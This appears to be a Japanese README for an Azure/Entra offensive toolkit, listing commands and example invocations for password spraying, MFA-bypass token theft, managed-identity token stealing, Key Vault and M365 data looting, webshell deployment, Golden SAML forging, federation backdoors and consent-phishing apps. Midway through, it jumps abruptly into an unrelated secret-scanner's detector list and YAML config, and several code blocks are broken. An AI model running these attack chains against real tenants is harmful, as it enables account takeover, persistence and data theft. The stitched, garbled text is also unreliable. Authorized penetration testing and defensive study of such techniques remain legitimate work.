
Azure セキュリティ評価を許可された範囲で行うための Go ツールキット: サブスクリプションとリソースを列挙し、設定ミスを監査し、公開 Blob ストレージを匿名で攻撃します。
azpt)🚧 パブリックベータ。
azptは活発に開発中です — コマンド、フラグ、 出力形式はリリース間で変更される可能性があります。バグ報告や フィードバックは GitHub issues で歓迎します。
azpt は許可された Azure セキュリティ評価のための Go ツールキットです。これは
2 つの観点から機能します:
⚠️ 許可された使用のみ。 これは、テストする明示的な書面による許可を得ている テナント、サブスクリプション、ストレージアカウントに対してのみ実行してください。匿名の
blobコマンドはインターネット経由でサードパーティのインフラストラクチャに触れます — エンゲージメントの範囲内に限定してください。
以下のすべての例は、静的なマーケティングサイトが acmewebsite という名前の
Azure ストレージアカウント (https://acmewebsite.blob.core.windows.net) で
ホストされている架空の Acme Corp を対象としています。
完全なドキュメントは docs/ にあります:
docs/guides/) — 機能ごと: その手法がどのように
機能するか、それが必要とする正確な Azure RBAC / Microsoft Graph アクセス許可、
主要なフラグの説明、例、および OPSEC / 検知に関する注意事項 — エンゲージメント
フェーズごとに整理されています。docs/guides/scenarios/)
— フェーズをまたいでコマンドを連鎖させるエンドツーエンドの攻撃ナラティブ (トークン →
Global Admin、Golden SAML 乗っ取り、PRT 窃取、同意フィッシング → M365、
マネージド ID の横方向移動、オフラインディレクトリハント、デバイスコード
フィッシング)、それぞれに OPSEC とクリーンアップ付き。docs/reference/) — コマンドごとに
自動生成されたページで、すべてのフラグ (名前、省略形、型、デフォルト値、
説明) を含みます。azpt gen-docs docs/reference で再生成できます。同じ情報は
azpt <command> --help からも出力されます。最新リリースから お使いのプラットフォーム用のアーカイブをダウンロードし、検証して、展開します:```bash
tar -xzf azpt_.tar.gz sha256sum -c --ignore-missing SHA256SUMS
バイナリは静的(`CGO_ENABLED=0`)で、ランタイム依存関係は不要です。
ビルドは linux と darwin の amd64 および arm64 向けに公開されています。
Windows バイナリは公開されていません。Windows 専用のヘルパー(`prt extract`、
`adconnect sync-creds`、DPAPI)は、Windows ホスト上で `go build -o
azpt.exe .` によりソースからビルドできます。
### ソースから
Go 1.26+ が必要です。```bash
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .
これにより、リポジトリのルートに自己完結型の azpt バイナリが生成されます。リポジトリのディレクトリから go run . <command> を使ってビルドせずに実行することもできます。
匿名の blob コマンドには Azure ログインは不要です:```bash
./azpt blob hunt --account acmewebsite
Azure 資格情報(`az login`)を使用して、内部から評価します — リソースプレーン(ARM)とディレクトリ(Entra ID / Graph)の両方:```bash
./azpt enum whoami # who am I authenticated as?
./azpt enum subscriptions # what subscriptions can this principal see?
./azpt audit storage # misconfigured storage accounts
./azpt enum users # dump the Entra ID directory (Graph)
よくある流れ: blob hunt で資格情報を匿名で回収し、そのユーザーとしてログインし(az login)、enum access で何ができるか確認し、到達可能な Key Vault をすべて略奪する:```bash
./azpt enum access # token scopes, directory roles, groups, RBAC roles
./azpt enum resources # find Key Vaults (type: vaults)
./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault
./azpt vault dump --vault ext-contractors # read every secret value (the loot)
---
## 認証
匿名の `blob` コマンドには認証は**不要**です。それ以外はすべて Azure の**デフォルト資格情報チェーン**を使用し、環境変数、ワークロード ID、マネージド ID、Azure CLI (`az login`) の順に試行します。```bash
az login
./azpt enum subscriptions
サービスプリンシパル認証を明示的に強制します(スコープ付きの評価用IDに便利)。フラグまたは環境変数で指定します。まだ持っていない場合は、az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id> で作成できます。RBACだけでは付与されないGraph権限を含む完全な手順については、Getting
startedを参照してください:```bash
./azpt --tenant --client-id --client-secret
enum subscriptions
export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=... ./azpt enum subscriptions
**証明書ベース**認証(PFX または PEM):```bash
./azpt --tenant <tenant-id> --client-id <app-id> \
--certificate ./cert.pfx --cert-password 'P@ss' \
enum subscriptions
--subscription で認証済み実行を特定のサブスクリプションにスコープします(繰り返し指定可能)。デフォルトでは、プリンシパルが到達できるすべてのサブスクリプションが対象となります:```bash
./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage
---
## コマンドリファレンス
🧪 はまだ **ベータ** のコマンドを示します。実装済みで使用可能ですが、スイートの他の部分ほど実戦で検証されていません — 粗削りな部分が想定されるため、問題に遭遇した場合は報告してください。
| コマンド | 認証 | API | 説明 |
| --- | :---: | --- | --- |
| `recon realm <domain>` | ❌ | Identity | ドメインは Entra ID に支えられているか? (Managed/Federated) |
| `recon tenant <domain>` | ❌ | Identity | テナント ID を発見する (OpenID config) |
| `recon outsider <domain>` | ❌ | Identity+DNS | 完全な外部偵察: realm、tenant、MX/SPF/DMARC/DKIM/MTA-STS |
| `recon subdomains <base>` | ❌ | DNS | Azure サービスサブドメインを列挙する (App Service、Storage、Vault、SQL、...) |
| `recon users` | ❌ | Identity | ユーザー名が Entra ID に存在するか検証する |
| `spray` | ❌ | Identity | ユーザー名に対して 1 つのパスワードでパスワードスプレー (許可された場合のみ) |
| `mfa audit` | ❌ | Identity | MFA 適用のギャップを発見する (リソース/クライアント/User-Agent をまたぐ ROPC) |
| `mfa token` | ❌ | Identity | MFA ギャップを通じてアクセストークンを取得する (User-Agent を自動試行) |
| `mfa refresh` | ❌ | Identity | リフレッシュトークンを別リソースのトークンと交換する (FOCI) |
| `mfa devicecode` | ❌ | Identity | デバイスコードフィッシングのルアー → 被害者のサインイン後にトークンを取得 |
| `imds token` | ❌ | IMDS | 侵害されたリソース上でマネージド ID トークンを発行する (オンボックスで実行) |
| `imds loot` | ❌ | IMDS | ARM、Graph、Storage、Key Vault の MI トークンを一度に取得する |
| `enum ca` | ✅ | Graph | 条件付きアクセスポリシーを列挙し、MFA ギャップをフラグする |
| `enum deployments` | ✅ | ARM | ARM デプロイ履歴を一覧表示し、シークレットを含むパラメータをフラグする |
| `webapp list/settings/creds` | ✅ | ARM | App Service インベントリ、アプリ設定、Kudu 発行資格情報 |
| `webapp exec` | ✅ | ARM/Kudu | Kudu 経由でサイト上でコマンドを実行する (RCE) |
| `webapp loot` | ✅ | ARM | 全アプリ: 設定 + 接続文字列 + Kudu 資格情報、シークレットをフラグする |
| `storage keys` | ✅ | ARM | ストレージアカウントのアクセスキーを一覧表示する |
| `storage sas` | ✅ | ARM | ARM 経由でアカウント SAS トークンを発行する |
| `vm list` / `vm run` | ✅ | ARM | VM を一覧表示 / RunCommand 経由でコマンドを実行する |
| `automation list/loot` | ✅ | ARM | Automation ランブック、変数、資格情報名 |
| `loot keys` | ✅ | ARM | Cosmos、ACR、Redis、Service Bus、Event Hub、Cognitive、Batch、App Config、SignalR、Maps からキー/接続文字列を一掃する |
| `loot apim` | ✅ | ARM | API Management の名前付き値 (シークレットを含む) |
| `loot logicapps` / `loot datafactory` | ✅ | ARM | Logic App 定義 / Data Factory リンクされたサービス |
| `aks list` / `aks kubeconfig` | ✅ | ARM | AKS クラスタを一覧表示 / cluster-admin kubeconfig を取得する |
| `enum approles` | ✅ | Graph | Graph アプリロールの付与を列挙し、privesc パスをフラグする (→ グローバル管理者) |
| `enum privroles` | ✅ | Graph | 特権ディレクトリロールの保持者 (アクティブ + PIM eligible) |
| `enum grants` | ✅ | Graph | OAuth2 委任付与 (不正 / 過剰同意)、危険なスコープをフラグする |
| `enum laps` | ✅ | Graph | Entra から Windows LAPS ローカル管理者パスワードを取得する |
| `enum bitlocker` | ✅ | Graph | Entra から BitLocker 回復キーを取得する |
| `enum dynamicgroups` | ✅ | Graph | 動的 (ルールベース) グループ — 自己参加 / privesc の攻撃面 |
| `enum guests` / `enum devices` | ✅ | Graph | ゲスト (B2B) ユーザー / 登録済みデバイス |
| `enum risky` | ✅ | Graph | 古い/リスクのあるもののハント: ゲスト、同期 SP、break-glass、シークレットを持つアプリ |
| `enum intune` / `intune list` | ✅ | Graph | Intune 管理デバイスを一覧表示する |
| `intune script` | ✅ | Graph | デバイスグループに PowerShell スクリプトをデプロイする (SYSTEM RCE) |
| `recon tenantinfo` | ❌ | Identity | 深い外部偵察: テナント ID、フェデレーション、シームレス SSO、オンプレミス同期 |
| `entra create-app` | ✅ | Graph | アプリ + SP + シークレットを作成する (制御可能な永続化 ID) |
| `entra reset-password` | ✅ | Graph | ユーザーのパスワードをリセットする (アカウント乗っ取り) |
| `token decode` | ❌ | — | JWT のクレームをデコードする (ID、スコープ、ロール、wids→ロール名、有効期限) |
| `elevate-access` | ✅ | ARM | グローバル管理者 → テナントルートのユーザーアクセス管理者 (Entra→Azure ピボット) |
| `entra add-member/add-owner` | ✅ | Graph | グループ/アプリ/SP にメンバー/所有者を追加する (privesc と永続化) |
| `entra grant` | ✅ | Graph | OAuth2 同意付与を作成する (不正同意) |
| `entra invite` / `entra tap` | ✅ | Graph | B2B ゲストを招待 / 一時アクセスパスを作成する (認証バイパス) |
| `scan --loot` | ✅ | ARM+Graph | ディープスキャン loot: Function App キー、AKS kubeconfig、LAPS、BitLocker、APIM、DB ファイアウォール、スナップショット、カスタムロール、古い資格情報 |
| `scan --bloodhound` | ✅ | — | Entra+ARM グラフを BloodHound CE OpenGraph JSON としてエクスポートする |
| `enum adminunits` | ✅ | Graph | 管理単位とそのスコープ付きロールメンバー (AU スコープの管理者悪用) |
| `enum identities` | ✅ | ARM | マネージド ID をそのホストリソースにマッピングする |
| `enum lighthouse` | ✅ | ARM | Azure Lighthouse 委任 (このサブを管理する外部テナント) |
| `enum pip` | ✅ | ARM | サブスクリプションスコープ全体のパブリック IP アドレスを一覧表示する |
| `entra update-profile` | ✅ | Graph | ユーザーのプロファイル属性を更新する (動的グループ悪用) |
| `app add-secret` | ✅ | Graph | アプリ登録にクライアントシークレットを追加する (永続化/privesc) |
| `app add-federated` | ✅ | Graph | フェデレーション ID 資格情報を追加する (外部 IdP 永続化) |
| `webapp functionkeys` | ✅ | ARM | Function App ホストキー (マスターキー → 管理 API / RCE) |
| `disk list` / `disk export` | ✅ | ARM | ディスク/スナップショットを一覧表示 / オフライン VHD 回収用の read-SAS エクスポート |
| `storage shares` / `storage queues` | ✅ | ARM | Azure Files 共有 / Storage キューを一覧表示する |
| `storage peek` / `storage files` | ✅ | Storage | キューメッセージの内容を覗く / ファイル共有のファイルを一覧表示する (データプレーン) |
| `loot aci` | ✅ | ARM/data | Container Instances の環境変数 |
| `loot appconfig` 🧪 | ✅ | ARM/data | App Configuration のキーと値 |
| `cosmos list/dump/table` | ✅ | ARM+data | Cosmos DB アカウント、データベース、コンテナ、ドキュメント読み取り、Table API |
| `containerapp loot/exec/steal-token` | ✅ | ARM | Container App のシークレット + 環境変数 / レプリカへの exec / MI トークン窃取 |
| `iot list/devices/invoke` | ✅ | ARM+data | IoT Hub キー、デバイス ID、ダイレクトメソッド呼び出し (デバイス RCE) |
| `backup vaults/items/restore` | ✅ | ARM | Recovery Services コンテナ、バックアップ項目 + 回復ポイント、ディスクの復元 |
| `db list/query` | ✅ | ARM+data | PostgreSQL/MySQL サーバーの列挙とクエリ (Entra または DB ログイン) |
| `blob containers` | ❌ | Blob | ストレージアカウント上の全コンテナを一覧表示する (サービスレベル SAS には --sas を付ける) |
| `m365 mail/files/sites` | ✅ | Graph | Graph トークンでメールボックス、OneDrive、SharePoint を回収する |
| `blob brute` | ❌ | DNS/Blob | 名前でストレージアカウントを発見し、匿名コンテナをプローブする |
| `recon takeover` | ❌ | DNS | ぶら下がった Azure CNAME をフラグする (サブドメイン乗っ取り) |
| `audit network` | ✅ | ARM | NSG のインターネット露出とパブリック IP を監査する |
| `audit keyvault` | ✅ | ARM | Key Vault のパブリックアクセス、purge/soft-delete、広範なポリシーを監査する |
| `audit rbac` | ✅ | ARM | RBAC 衛生状態を監査する: Owner の氾濫、UAA、危険なカスタムロール |
| `enum subscriptions` | ✅ | ARM | 現在のプリンシパルから見えるサブスクリプションを一覧表示する |
| `enum resources` | ✅ | ARM | サブスクリプションスコープ全体の全リソースを一覧表示する (`--fast` は Resource Graph を使用、`--access` は各リソースで保持する RBAC ロールの列を追加) |
| `enum kql` | ✅ | ARM | スコープ全体で任意の Azure Resource Graph (KQL) クエリを実行する |
| `enum users` | ✅ | Graph | Entra ID ディレクトリユーザーを一覧表示する |
| `enum groups` | ✅ | Graph | Entra ID ディレクトリグループを一覧表示する |
| `enum service-principals` | ✅ | Graph | サービスプリンシパル / エンタープライズアプリを一覧表示する |
| `enum apps` | ✅ | Graph | アプリ登録をシークレット/証明書の数とともに一覧表示する |
| `enum org` | ✅ | Graph | テナント/組織情報と検証済みドメインを表示する |
| `enum whoami` | ✅ | Graph | 現在認証されているユーザーを表示する (`/me`) |
| `enum access` | ✅ | ARM+Graph | 実効アクセスを表示する: トークンスコープ、ディレクトリロール、グループメンバーシップ、RBAC ロール |
| `scan` | ✅ | ARM+Graph | ユーザーのアクセスを BloodHound スタイルの攻撃パスグラフとしてマッピングする (+ HTML) |
| `audit storage` | ✅ | ARM | ストレージアカウントを監査する (パブリックアクセス、TLS、トランスポート、ファイアウォール) |
| `vault list` | ✅ | KV | Key Vault 内のシークレット、キー、証明書を一覧表示する |
| `vault get --secret <n>` | ✅ | KV | 単一の Key Vault シークレット値を読み取る |
| `vault dump` | ✅ | KV | Key Vault 内の全シークレットを一覧表示して読み取る |
| `sql databases` | ✅ | SQL | Azure SQL サーバー上のデータベースを一覧表示する |
| `sql tables` | ✅ | SQL | データベース内のテーブルを行数とともに一覧表示する |
| `sql query -q <sql>` | ✅ | SQL | 読み取り専用クエリを実行する (変更には `--allow-write` が必要) |
| `sql dump --table <t>` | ✅ | SQL | テーブルから行をダンプする |
| `storage containers` | ✅ | Storage | BLOB コンテナを一覧表示する (認証済み) |
| `storage blobs` | ✅ | Storage | コンテナ内の BLOB を一覧表示する (認証済み) |
| `storage download` | ✅ | Storage | BLOB をダウンロードする (認証済み) |
| `storage tables` | ✅ | Storage | アカウント内の Storage Table を一覧表示する |
| `storage entities` | ✅ | Storage | Storage Table の行をクエリ/ダンプする |
| `blob check <path>` | ❌ | Blob | BLOB を HEAD して匿名到達可能性をテストする |
| `blob list` | ❌ | Blob | コンテナを匿名で一覧表示する (`--versions`、`--delimiter /`、`--prefix`) |
| `blob versions` | ❌ | Blob | BLOB バージョンを列挙する — 古い/置き換えられた/削除されたファイルを浮かび上がらせる |
| `blob download <path>` | ❌ | Blob | BLOB をダウンロードする、任意で特定の `--version-id` を指定 |
| `blob hunt` | ❌ | Blob | コンテナをプローブし、バージョンを列挙し、シークレットを含むファイルをフラグする |
| `vm show` | ✅ | ARM | 詳細な VM 情報: ユーザーデータ、パブリック/プライベート IP、タグ、管理者ユーザー |
| `vm extensions` | ✅ | ARM | VM 拡張機能を一覧表示する (Custom Script Extension の資格情報漏洩) |
| `vm steal-token` | ✅ | ARM | IMDS 経由で VM からマネージド ID トークンを窃取する (RunCommand) |
| `enum synced` | ✅ | Graph | セキュリティ識別子 (SID) を持つオンプレミス同期ユーザーを一覧表示する |
| `enum powerplatform environments` 🧪 | ✅ | PowerApps | Power Platform 環境 (Dataverse インスタンス) を一覧表示する |
| `enum powerplatform apps` 🧪 | ✅ | PowerApps | Power Apps キャンバスアプリケーションを一覧表示する |
| `enum powerplatform tables` 🧪 | ✅ | Dataverse | Dataverse テーブル (エンティティ定義) を一覧表示する |
| `enum powerplatform query` 🧪 | ✅ | Dataverse | OData 経由で Dataverse テーブルから行をクエリする |
| `webapp deploy` | ✅ | Kudu | Kudu VFS 経由で Web アプリにファイルをアップロードする (ウェブシェルデプロイ) |
| `token extract` | ❌ | — | MSAL トークンキャッシュファイルからトークンを抽出する (リフレッシュ + アクセス) |
| `m365 teams/search-mail/search-files` | ✅ | Graph | Teams チャネル、メール検索、SharePoint/OneDrive 検索 |
| `m365 scan` | ✅ | Graph | M365 データをシークレット、パスワード、資格情報についてスキャンする (14 パターン) |
| `devops projects/serviceconnections/variablegroups/pipelines` | ✅ | DevOps | Azure DevOps 組織を列挙する: プロジェクト、サービス接続 (SP/テナント/サブスクリプションが露出)、変数グループ、パイプライン |
| `devops preview` | ✅ | DevOps | 実行せずにテンプレート/変数展開後のパイプラインの最終 YAML を解決する |
| `devops run` | ✅ | DevOps | 実際のパイプライン実行をキューに入れ、そのビルドログを取得する (パイプラインのサービス接続 ID として実行) |
| `arm deploy-script` | ✅ | ARM | `deploymentScripts` 経由で一時的な ACI コンテナ内でコードを実行する (RCE)、任意でマネージド ID をアタッチ |
| `persistence grant-rbac` | ✅ | ARM | 任意のスコープで自身またはプリンシパルに RBAC ロール (例: Owner) を割り当てる (privesc/永続化) |
| `persistence attach-identity` | ✅ | ARM | ユーザー割り当てマネージド ID をリソースにアタッチする (`steal-token` 経由の privesc) |
| `aks kubeconfig --user` | ✅ | ARM | Entra 認証済みユーザーの kubeconfig を取得する (ローカルアカウントが無効なクラスタでも動作) |
| `k8s secrets` | ✅ | K8s | ネームスペース内 (またはクラスタ全体) の全 Kubernetes シークレットをダンプする |
| `k8s serviceaccounts` | ✅ | K8s | サービスアカウントを一覧表示し、Azure Workload Identity 経由でフェデレートされたものをフラグする |
| `k8s pods` | ✅ | K8s | Pod と各 Pod が実行するサービスアカウントを一覧表示する |
| `k8s rbac` | ✅ | K8s | クラスタ/ロールバインディングを列挙し、cluster-admin/ワイルドカード/pod-exec/secrets-read の privesc パスをフラグする |
| `k8s exec` | ✅ | K8s | Pod 内でコマンドを実行する (非対話型 RCE、その Pod のサービスアカウントとして) |
| `k8s steal-token` | ✅ | K8s | TokenRequest API 経由でサービスアカウントトークンを発行する (マウントされたトークンシークレットなしで動作) |
| `k8s pivot-azure` | ✅ | K8s→Entra | ワークロード ID フェデレートされた SA トークンを窃取し、実際の Azure AD アクセストークンと交換する |
| `harvest` | ❌ | — | ディスク上の az CLI / Az PowerShell 資格情報ストアを回収する (トークン、SP シークレット、Windows では DPAPI 保護ストア) |
| `prt nonce` 🧪 | ❌ | Identity | PRT クッキー署名用のサーバーナンス (`srv_challenge`) を取得する |
| `prt cookie` 🧪 | ❌ | Identity | PRT + セッションキーから署名済み `x-ms-RefreshTokenCredential` SSO クッキーを構築する (KDF v2) |
| `prt auth` 🧪 | ❌ | Identity | 完全な PRT SSO チェーン: nonce → cookie → authorize → access + refresh token |
| `prt extract` 🧪 | ❌ | Identity | オンホスト (Windows): BrowserCore.exe から新しい SSO クッキーを取得して交換する (ROADtoken) |
| `device register` | ✅ | DRS | 不正なデバイスを登録する (join) → デバイス証明書/キー — PRT の前提条件、デバイス CA バイパス、永続化 |
| `federation list` | ✅ | Graph | ドメインのフェデレーション設定を表示する |
| `federation backdoor` | ✅ | Graph | マネージドドメインを Federated に変換し、攻撃者の STS を信頼する (AADInternals `ConvertTo-AADIntBackdoor`) |
| `federation golden-saml` 🧪 | ❌ | Identity | 任意のユーザーの署名済み SAML アサーションを偽造し、トークンと交換する (Golden SAML) |
| `federation remove` | ✅ | Graph | フェデレーション設定を削除する (Managed に戻す / クリーンアップ) |
| `entra phish-app create` 🧪 | ✅ | Graph | マルチテナント OAuth 同意フィッシングアプリ + 同意 URL を発行する (GraphRunner `Invoke-InjectOAuthApp`) |
| `entra phish-app serve` | ❌ | Identity | 同意認証コードを捕捉しトークンと交換するローカルリスナー |
| `m365 rules list/add/delete` | ✅ | Graph | 受信トレイ転送ルール (サイレントなメールボックス転送による永続化) |
| `scan dump` | ✅ | ARM+Graph | ディレクトリ + 攻撃グラフをオフラインの純粋な Go SQLite データベースに取り込む |
| `scan query <view>` | ❌ | — | ダンプに対して定型の分析ビュー (`admins`、`password-resetters`、`dangerous-approles`、…) を実行する |
| `adconnect sync-creds` | ✅ | ADSync SQL | ADSync DB から暗号化された AD Connect 同期バインド資格情報をダンプする (AADInternals `Get-AADIntSyncCredentials` で復号) |
`azpt` は 3 つの Azure API と通信します。**ARM** コマンドは Azure SDK を使用し、**Graph** コマンド (Entra ID / ディレクトリオブジェクト) は同じ資格情報からの生の Graph トークンを使用し、**Blob** コマンドは完全に匿名です。
**グローバルフラグ** (サブコマンドの前): `--json`、`--jsonl` (NDJSON、ストリーミング/BloodHound スタイルのパイプライン用)、`--opsec` (実行前に検出表面を表示)、`--subscription <id>` (繰り返し可能)、`--tenant`、`--client-id`、`--client-secret`、`--certificate` (PFX/PEM)、`--cert-password`、`--access-token` (繰り返し可能、または `AZPT_TOKEN`)、`--refresh-token` (FOCI 自動ピボット)、`--cloud` (`public` | `usgov` | `china` — ソブリンクラウド用に ARM/Graph/login エンドポイントを再ターゲット)。
すべての ARM および Graph 呼び出しは `nextLink` ページネーションに従い (大規模テナントでの暗黙の切り捨てなし)、`429`/`503` で `Retry-After` を尊重してリトライします。
**窃取したトークンで azpt を駆動する。** 認証済みコマンドは `az login` の代わりに `--access-token` (または `AZPT_TOKEN`) 経由で事前に取得したベアラートークンを受け付けます — MFA ギャップ (`mfa token`)、マネージド ID (`imds`)、またはフィッシングから取得したトークンはすべて直接機能します。複数 (ARM、Graph、Storage) を指定すると、それぞれがそのオーディエンスに一致する API にルーティングされます:```bash
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html
ポストエクスプロイトの古典的なチェーン、すべて azpt で:```bash
T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken) azpt --access-token "$T" webapp loot # app settings → MSI secret, storage, DB creds
azpt imds loot -c "$ENTRA_CLIENT_ID" # ARM + Storage tokens for the app's identity
azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage
**`blob` フラグ**(すべての `blob` サブコマンド): `--account <name>`(必須)、
`--container <name>`(デフォルト `$web`)、`--api-version <ver>`(デフォルト
`2021-08-06`、バージョン列挙には `2019-12-12` 以上が必要)、
`--endpoint-suffix <suffix>`(デフォルト `core.windows.net`、ソブリンクラウドには
`core.usgovcloudapi.net` / `core.chinacloudapi.cn` を設定)。
任意のコマンドの完全なフラグ一覧は `./azpt <command> --help` を実行してください。
---
## 偵察(ドメインのみ)
`recon` コマンドはエンゲージメントの最前線です。ドメイン名だけを手がかりに、
その組織が Entra ID を使用しているかどうかを判断し、テナント ID を特定し、
Azure のフットプリントをマッピングし、ユーザー名を検証します — すべて**未認証**で行います。```bash
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com
# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com
# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30
# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt
# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com
spray有効なユーザー名と候補パスワード(例:漏洩コーパスから取得)を入手したら、それをテストします。これは単一のパスワードを多数のユーザーに対して試すもの(スプレーであり、アカウントをロックするユーザーごとのブルートフォースではない)ですが、それでもノイズが多く、ロックアウトやアラートを引き起こす可能性があります。```bash ./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm
`--confirm` は必須です — 省略するとコマンドは実行を拒否します。結果は
分類されます: valid、valid-but-MFA-required、disabled、locked (停止!)、または invalid。
パスワード検証*後*にのみ発生するコード (MFA、expired、CA) は
**有効な資格情報**として報告されます。
> ⚠️ パスワードスプレーは侵入的で検知されやすい手法です。明示的な書面による
> テスト許可を得ているテナントに対してのみ実行してください。
### MFA 適用のギャップ — `mfa`
あるユーザーの**有効な資格情報**を持っているのに、Azure Portal が MFA を要求する。
条件付きアクセスポリシーは、しばしば*リソース*、*クライアントアプリ*、
および*デバイスプラットフォーム* (Entra が `User-Agent` から導出する) によってスコープが設定されます。ポリシーが
それらの条件のいずれかに一致するリクエストに対してのみ MFA を要求する場合、
**いずれにも**一致しないリクエスト — 例えば、通常とは異なるデバイスプラットフォームの User-Agent — は
**MFA を一切使わずに**トークンを取得できます。これは
[FindMeAccess](https://github.com/absolomb/FindMeAccess) と同じ手法で、ROPC フローを使用します。```bash
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm
detect_aws_keys — AWS アクセスキー ID とシークレットキーdetect_github_tokens — GitHub の個人アクセストークンと OAuth トークンdetect_slack_tokens — Slack のボットトークンとユーザートークンdetect_private_keys — RSA、DSA、EC、OpenSSH の秘密鍵detect_jwt — JSON Web Tokendetect_google_api — Google API キーdetect_stripe_keys — Stripe のライブキーとテストキーdetect_twilio_keys — Twilio のアカウント SID と認証トークンdetect_sendgrid_keys — SendGrid API キーdetect_npm_tokens — npm アクセストークンdetect_pypi_tokens — PyPI API トークンverify_aws_key — AWS 認証情報を検証する(オプション、API 呼び出しが必要)verify_github_token — GitHub トークンを検証するverify_slack_token — Slack トークンを検証するverify_stripe_key — Stripe API キーを検証するverify_sendgrid_key — SendGrid API キーを検証するverify_twilio_key — Twilio 認証情報を検証するenrich_github — GitHub トークンのスコープとユーザー情報を取得するenrich_aws — AWS アカウント情報を取得するenrich_slack — Slack ワークスペース情報を取得するenrich_domain — ドメインの WHOIS および DNS 情報を取得するenrich_ip — IP の地理位置情報と ASN 情報を取得するoutput_json — JSON 形式で出力するoutput_csv — CSV 形式で出力するoutput_sarif — SARIF 形式で出力する(CI/CD 統合用)output_html — HTML レポートを出力するoutput_junit — JUnit XML 形式で出力するoutput_slack — Slack に通知を送信するoutput_webhook — 汎用 Webhook に送信するfilter_entropy — エントロピー閾値でフィルタリングするfilter_allowlist — 許可リストのパターンでフィルタリングするfilter_denylist — 拒否リストのパターンでフィルタリングするfilter_path — ファイルパスでフィルタリングするfilter_size — ファイルサイズでフィルタリングするfilter_extension — ファイル拡張子でフィルタリングするfilter_deduplicate — 重複する検出結果を除去するtransform_base64 — Base64 エンコードされたコンテンツをデコードするtransform_hex — 16 進数エンコードされたコンテンツをデコードするtransform_url — URL エンコードされたコンテンツをデコードするtransform_rot13 — ROT13 エンコードされたコンテンツをデコードするtransform_gzip — gzip 圧縮されたコンテンツを解凍するtransform_zip — zip アーカイブを展開するtransform_tar — tar アーカイブを展開するutil_http — HTTP リクエストを送信するutil_dns — DNS クエリを実行するutil_whois — WHOIS クエリを実行するutil_hash — ハッシュを計算する(MD5、SHA1、SHA256)util_entropy — 文字列のエントロピーを計算するutil_luhn — Luhn チェックサムを検証するutil_regex — 正規表現マッチングを実行するutil_template — テンプレート文字列をレンダリングする# config.yaml
version: "1.0"
# グローバル設定
settings:
# 最大同時実行数
concurrency: 10
# リクエストのタイムアウト(秒)
timeout: 30
# 再試行回数
retries: 3
# ログレベル(debug、info、warn、error)
log_level: info
# 出力形式(json、csv、sarif、html、junit)
output_format: json
# 出力ファイル
output_file: results.json
# 詳細出力を有効にする
verbose: false
# サイレントモードを有効にする
silent: false
# カラー出力を有効にする
color: true
# 進捗バーを有効にする
progress: true
# 検出器の設定
detectors:
aws_keys:
enabled: true
# 検証を有効にする(API 呼び出しが必要)
verify: false
# 検証のタイムアウト(秒)
verify_timeout: 10
github_tokens:
enabled: true
verify: false
slack_tokens:
enabled: true
verify: false
private_keys:
enabled: true
jwt:
enabled: true
google_api:
enabled: true
stripe_keys:
enabled: true
verify: false
twilio_keys:
enabled: true
verify: false
sendgrid_keys:
enabled: true
verify: false
npm_tokens:
enabled: true
pypi_tokens:
enabled: true
docker_tokens:
enabled: true
heroku_keys:
enabled: true
azure_keys:
enabled: true
gcp_keys:
enabled: true
database_urls:
enabled: true
high_entropy:
enabled: true
# エントロピー閾値(ビット/文字)
threshold: 4.5
# 最小文字列長
min_length: 20
# 最大文字列長
max_length: 100
credit_cards:
enabled: true
# Luhn 検証を有効にする
luhn_check: true
ssn:
enabled: true
emails:
enabled: true
ips:
enabled: true
urls:
enabled: true
phone_numbers:
enabled: true
# フィルタの設定
filters:
entropy:
enabled: true
threshold: 4.5
allowlist:
enabled: true
patterns:
- "example\\.com"
- "test@example\\.com"
- "AKIAIOSFODNN7EXAMPLE"
denylist:
enabled: true
patterns:
- "password"
- "secret"
path:
enabled: true
include:
- "**/*.env"
- "**/*.yaml"
- "**/*.yml"
- "**/*.json"
- "**/*.xml"
- "**/*.properties"
- "**/*.conf"
- "**/*.config"
- "**/*.ini"
- "**/*.txt"
- "**/*.md"
- "**/*.js"
- "**/*.ts"
- "**/*.py"
- "**/*.rb"
- "**/*.go"
- "**/*.java"
- "**/*.php"
- "**/*.cs"
- "**/*.sh"
- "**/*.bash"
- "**/*.zsh"
- "**/*.ps1"
- "**/*.bat"
- "**/*.cmd"
exclude:
- "**/node_modules/**"
- "**/vendor/**"
- "**/.git/**"
- "**/dist/**"
- "**/build/**"
- "**/target/**"
- "**/bin/**"
- "**/obj/**"
- "**/*.min.js"
- "**/*.min.css"
- "**/*.map"
- "**/*.lock"
- "**/package-lock.json"
- "**/yarn.lock"
- "**/Gemfile.lock"
- "**/poetry.lock"
- "**/Pipfile.lock"
size:
enabled: true
# 最小ファイルサイズ(バイト)
min: 0
# 最大ファイルサイズ(バイト)
max: 10485760 # 10 MB
extension:
enabled: true
include:
- ".env"
- ".yaml"
- ".yml"
- ".json"
- ".xml"
- ".properties"
- ".conf"
- ".config"
- ".ini"
- ".txt"
- ".md"
- ".js"
- ".ts"
- ".py"
- ".rb"
- ".go"
- ".java"
- ".php"
- ".cs"
- ".sh"
- ".bash"
- ".zsh"
- ".ps1"
- ".bat"
- ".cmd"
exclude:
- ".min.js"
- ".min.css"
- ".map"
- ".lock"
deduplicate:
enabled: true
# 重複排除の基準(value、location、both)
by: both
# 変換の設定
transforms:
base64:
enabled: true
# 最大デコード深度
max_depth: 3
hex:
